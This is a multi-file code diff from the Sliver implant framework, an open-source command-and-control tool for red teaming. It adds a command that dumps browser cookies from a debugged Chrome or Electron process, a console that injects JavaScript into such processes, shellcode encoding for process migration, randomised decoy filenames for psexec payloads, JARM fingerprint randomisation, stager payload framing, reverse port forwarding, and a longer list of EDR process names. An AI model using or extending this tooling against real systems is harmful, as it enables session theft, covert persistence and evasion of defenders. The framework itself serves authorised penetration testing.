@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
return &selectedTarget
}
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
var (
helperHooks = []string{
"console.log = (...a) => {return a;}", // console.log
}
)
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
tmpFile, _ := ioutil.TempFile("", "cursed")
reader, err := readline.NewEx(&readline.Config{
Prompt: "\033[31mcursed »\033[0m ",
@@ -104,6 +110,19 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
con.PrintErrorf("Failed to create read line: %s\n", err)
return
}
if helpers {
// Execute helper hooks
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
for _, hook := range helperHooks {
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
if err != nil {
con.PrintErrorf("%s\n", err)
}
}
}
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
for {
line, err := reader.Readline()
if err == readline.ErrInterrupt {
@@ -116,8 +135,38 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
break
}
switch strings.TrimSpace(line) {
case ":help":
con.Println()
con.Println("Available commands:")
con.Println(" :file - Execute local .js file")
con.Println(" :help - Show this help")
con.Println(" :exit - Exit the console")
con.Println()
case ":file":
jsCode, err := ioutil.ReadFile(line)
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
if err != nil {
con.PrintErrorf("%s\n", err)
continue
}
con.Println()
if 0 < len(result) {
con.Printf("%s\n", result)
con.Println()
}
case ":exit":
fallthrough
case "exit":
return
default:
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
@@ -131,5 +180,4 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
}
}
}
}
+69
View File
@@ -0,0 +1,69 @@
package cursed
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"strings"
"time"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/overlord"
"github.com/desertbit/grumble"
)
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
curse := selectCursedProcess(con)
if curse == nil {
return
}
con.Println()
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
if err != nil {
con.PrintErrorf("Failed to dump cookies: %s\n", err)
return
}
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
if len(cookies) == 0 {
return
}
saveFile := ctx.Flags.String("save")
if saveFile == "" {
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
}
jsonCookies := []string{}
for _, cookie := range cookies {
jsonCookie, err := cookie.MarshalJSON()
if err != nil {
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
continue
}
jsonCookies = append(jsonCookies, string(jsonCookie))
}
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
if err != nil {
con.PrintErrorf("Failed to save cookies: %s\n", err)
return
}
con.PrintInfof("Saved to %s", saveFile)
con.Println()
}
+5 -1
View File
@@ -149,10 +149,14 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
debugPort := getRemoteDebuggerPort(ctx)
args := []string{
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
}
additionalArgs := ctx.Args.StringList("args")
if len(additionalArgs) > 0 {
args = append(args, additionalArgs...)
}
// Execute the Chrome process with the extra flags
// TODO: PPID spoofing, etc.
+12
View File
@@ -21,6 +21,7 @@ package cursed
import (
"bytes"
"fmt"
insecureRand "math/rand"
"strconv"
"strings"
"text/tabwriter"
@@ -35,6 +36,7 @@ import (
// CursedChromeCmd - Execute a .NET assembly in-memory
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Collect existing curses from core
cursedProcesses := [][]string{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
curse := value.(*core.CursedProcess)
@@ -48,6 +50,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
})
return true
})
// Display table if we have 1 or more curses
if 0 < len(cursedProcesses) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
@@ -67,6 +70,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
}
// selectCursedProcess - Interactively select a cursed process from a list
func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
cursedProcesses := []*core.CursedProcess{}
core.CursedProcesses.Range(func(key, value interface{}) bool {
@@ -107,3 +111,11 @@ func selectCursedProcess(con *console.SliverConsoleClient) *core.CursedProcess {
selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
return port2process[selectedPortNumber]
}
func getRemoteDebuggerPort(ctx *grumble.Context) int {
port := int(uint16(ctx.Flags.Int("remote-debugging-port")))
if port == 0 {
port = insecureRand.Intn(30000) + 10000
}
return port
}
+2 -2
View File
@@ -20,7 +20,7 @@ package exec
import (
"context"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -50,7 +50,7 @@ func ExecuteAssemblyCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
assemblyBytes, err := ioutil.ReadFile(assemblyPath)
assemblyBytes, err := os.ReadFile(assemblyPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
+2 -3
View File
@@ -23,7 +23,6 @@ import (
"context"
"fmt"
"io"
"io/ioutil"
"log"
"os"
@@ -52,7 +51,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
}
pid := ctx.Flags.Uint("pid")
shellcodePath := ctx.Args.String("filepath")
shellcodeBin, err := ioutil.ReadFile(shellcodePath)
shellcodeBin, err := os.ReadFile(shellcodePath)
if err != nil {
con.PrintErrorf("%s\n", err.Error())
return
@@ -82,7 +81,7 @@ func ExecuteShellcodeCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
Data: shellcodeBin,
})
if err != nil {
con.PrintErrorf("%s\n", err.Error())
con.PrintErrorf("%s\n", err)
return
}
oldSize := len(shellcodeBin)
+1 -2
View File
@@ -18,7 +18,6 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -242,7 +241,7 @@ func SaveExecutionOutput(executionOutput string, commandName string, hostName st
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
outFilePath, err = os.CreateTemp("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
+10
View File
@@ -3,14 +3,17 @@ package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
@@ -33,12 +36,19 @@ func MigrateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Args.Uint("pid")
config := con.GetActiveSessionConfig()
encoder := clientpb.ShellcodeEncoder_SHIKATA_GA_NAI
if ctx.Flags.Bool("disable-sgn") {
encoder = clientpb.ShellcodeEncoder_NONE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Migrating into %d ...", pid), ctrl)
migrate, err := con.Rpc.Migrate(context.Background(), &clientpb.MigrateReq{
Pid: uint32(pid),
Config: config,
Request: con.ActiveTarget.Request(ctx),
Encoder: encoder,
})
ctrl <- true
<-ctrl
+29 -10
View File
@@ -21,17 +21,19 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"strings"
"time"
insecureRand "math/rand"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
)
@@ -93,7 +95,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
serviceBinary, _ = generate.GetSliverBinary(implantProfile, con)
} else {
// use a custom exe instead of generating a new Sliver
fileBytes, err := ioutil.ReadFile(customExe)
fileBytes, err := os.ReadFile(customExe)
if err != nil {
con.PrintErrorf("Error reading custom executable '%s'\n", customExe)
return
@@ -101,7 +103,7 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
serviceBinary = fileBytes
}
filename := randomString(10)
filename := randomFileName()
filePath := fmt.Sprintf("%s\\%s.exe", uploadPath, filename)
uploadGzip := new(encoders.Gzip).Encode(serviceBinary)
// upload to remote target
@@ -172,11 +174,28 @@ func PsExecCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("Successfully removed service %s on %s\n", serviceName, hostname)
}
func randomString(length int) string {
var charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
b := make([]byte, length)
for i := range b {
b[i] = charset[insecureRand.Intn(len(charset))]
func randomFileName() string {
noun, _ := codenames.RandomNoun()
noun = strings.ToLower(noun)
switch insecureRand.Intn(3) {
case 0:
noun = strings.ToUpper(noun)
case 1:
noun = strings.ToTitle(noun)
}
return string(b)
separators := []string{"", "", "", "", "", ".", "-", "_", "--", "__"}
sep := separators[insecureRand.Intn(len(separators))]
alphanumeric := "abcdefghijklmnopqrstuvwxyz0123456789"
prefix := ""
for index := 0; index < insecureRand.Intn(3); index++ {
prefix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
suffix := ""
for index := 0; index < insecureRand.Intn(6)+1; index++ {
suffix += string(alphanumeric[insecureRand.Intn(len(alphanumeric))])
}
return fmt.Sprintf("%s%s%s%s%s", prefix, sep, noun, sep, suffix)
}
+2 -2
View File
@@ -21,7 +21,7 @@ package exec
import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -45,7 +45,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
args := strings.Join(ctx.Args.StringList("args"), " ")
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s", err.Error())
return
+20 -2
View File
@@ -1,9 +1,27 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"io/ioutil"
"os"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -24,7 +42,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
processName := ctx.Flags.String("process")
exportName := ctx.Flags.String("export")
binData, err := ioutil.ReadFile(binPath)
binData, err := os.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
+38 -4
View File
@@ -1,8 +1,26 @@
package exec
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io/ioutil"
"os"
"strings"
"github.com/AlecAivazis/survey/v2"
@@ -31,9 +49,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
port := ctx.Flags.Uint("port")
privateKeypath := ctx.Flags.String("private-key")
if privateKeypath != "" {
privKey, err = ioutil.ReadFile(privateKeypath)
privateKeyPath := ctx.Flags.String("private-key")
if privateKeyPath != "" {
privKey, err = os.ReadFile(privateKeyPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
@@ -43,6 +61,19 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
hostname := ctx.Args.String("hostname")
command := ctx.Args.StringList("command")
kerberosRealm := ctx.Flags.String("kerberos-realm")
kerberosConfig := ctx.Flags.String("kerberos-config")
kerberosKeytabFile := ctx.Flags.String("kerberos-keytab")
if kerberosRealm != "" && kerberosKeytabFile == "" {
con.PrintErrorf("You must specify a keytab file with the --kerberos-keytab flag\n")
return
}
kerberosKeytab, err := os.ReadFile(kerberosKeytabFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if password == "" && len(privKey) == 0 && !ctx.Flags.Bool("skip-loot") {
oldUsername := username
@@ -59,6 +90,9 @@ func SSHCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
PrivKey: privKey,
Password: password,
Command: strings.Join(command, " "),
Realm: kerberosRealm,
Krb5Conf: kerberosConfig,
Keytab: kerberosKeytab,
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
+1 -2
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"os"
"path"
"path/filepath"
"regexp"
"runtime"
@@ -173,7 +172,7 @@ func HandleDownloadResponse(download *sliverpb.Download, ctx *grumble.Context, c
fileName = fmt.Sprintf("down_%d.tar.gz", time.Now().Unix())
}
}
dst = path.Join(dst, fileName)
dst = filepath.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
+5
View File
@@ -249,6 +249,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
limitUsername := ctx.Flags.String("limit-username")
limitDatetime := ctx.Flags.String("limit-datetime")
limitFileExists := ctx.Flags.String("limit-fileexists")
limitLocale := ctx.Flags.String("limit-locale")
isSharedLib := false
isService := false
@@ -337,6 +338,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
LimitUsername: limitUsername,
LimitDatetime: limitDatetime,
LimitFileExists: limitFileExists,
LimitLocale: limitLocale,
Format: configFormat,
IsSharedLib: isSharedLib,
@@ -694,6 +696,9 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
+3 -3
View File
@@ -206,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -464,7 +464,7 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
+5
View File
@@ -26,6 +26,7 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -65,10 +66,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -81,10 +84,12 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+26 -3
View File
@@ -22,6 +22,7 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -33,10 +34,25 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -49,11 +65,14 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -67,12 +86,16 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
+1
View File
@@ -68,6 +68,7 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
+17
View File
@@ -22,6 +22,7 @@ import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
@@ -39,6 +40,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
@@ -117,6 +119,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -133,6 +138,9 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -158,6 +166,8 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -184,3 +194,10 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+14 -4
View File
@@ -19,8 +19,10 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -29,6 +31,10 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -36,10 +42,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -55,10 +61,14 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+16
View File
@@ -51,12 +51,28 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
+77
View File
@@ -0,0 +1,77 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
